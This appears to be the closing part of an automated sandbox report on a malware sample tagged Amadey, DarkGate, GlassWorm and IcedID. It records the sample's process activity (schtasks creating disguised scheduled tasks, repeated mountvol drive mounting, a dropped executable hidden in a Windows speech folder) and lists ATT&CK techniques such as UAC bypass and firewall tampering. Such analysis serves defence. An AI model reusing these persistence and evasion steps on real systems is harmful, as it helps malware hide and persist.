- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_25b3dd17" /XML "C:\Users\Admin\AppData\Local\Temp\ac1b2f1e-4606-47c8-aea0-65625cbab168.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5144
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Consolidator_ac68b9cc" /F
    3⤵
    PID:5828
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:3484
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "Consolidator_ac68b9cc" /XML "C:\Users\Admin\AppData\Local\Temp\7eb6ed6f-029a-41da-86e3-61ea57f3e303.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5676
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:1680
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:2180
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:4028
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /D
    3⤵
    - Enumerates connected drives
    PID:2360
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:4276
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /D
    3⤵
    - Enumerates connected drives
    PID:936
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:5060
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /D
    3⤵
    - Enumerates connected drives
    PID:6084
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:5976
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /D
    3⤵
    - Enumerates connected drives
    PID:2568
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:4728
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /D
    3⤵
    - Enumerates connected drives
    PID:4036
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:3984
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:216
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:4332
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:4812
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:1340
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /D
    3⤵
    - Enumerates connected drives
    PID:2548
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:5888
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /D
    3⤵
    - Enumerates connected drives
    PID:4800
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:1292
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:1220
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:2492
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /D
    3⤵
    - Enumerates connected drives
    PID:4308
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:2724
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:3448
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:1888
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:3444
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:2464
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:5796
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:4608
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:976
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:5956
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:724
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:5576
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:1044
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:5780
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:1612
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:1088
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:1164
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:772
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:5168
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:2860
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:3296
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:5356
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /D
    3⤵
    - Enumerates connected drives
    PID:1876
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /S
    3⤵
    PID:4452
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" M: /D
    3⤵
    - Enumerates connected drives
    PID:4684
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /S
    3⤵
    PID:64
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" N: /D
    3⤵
    - Enumerates connected drives
    PID:4692
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /S
    3⤵
    PID:616
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" O: /D
    3⤵
    - Enumerates connected drives
    PID:1272
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /S
    3⤵
    PID:60
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" P: /D
    3⤵
    - Enumerates connected drives
    PID:2148
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /S
    3⤵
    PID:5912
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Q: /D
    3⤵
    - Enumerates connected drives
    PID:3776
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /S
    3⤵
    PID:4136
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" R: /D
    3⤵
    - Enumerates connected drives
    PID:2212
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /S
    3⤵
    PID:5920
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" S: /D
    3⤵
    - Enumerates connected drives
    PID:6084
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /S
    3⤵
    PID:1108
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" T: /D
    3⤵
    - Enumerates connected drives
    PID:3980
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /S
    3⤵
    PID:1428
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" U: /D
    3⤵
    - Enumerates connected drives
    PID:2804
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /S
    3⤵
    PID:4768
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" V: /D
    3⤵
    - Enumerates connected drives
    PID:4812
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /S
    3⤵
    PID:2516
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" W: /D
    3⤵
    - Enumerates connected drives
    PID:6092
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /S
    3⤵
    PID:2604
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" X: /D
    3⤵
    - Enumerates connected drives
    PID:4456
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /S
    3⤵
    PID:1160
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" Y: /D
    3⤵
    - Enumerates connected drives
    PID:5392

C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4536

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:1868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery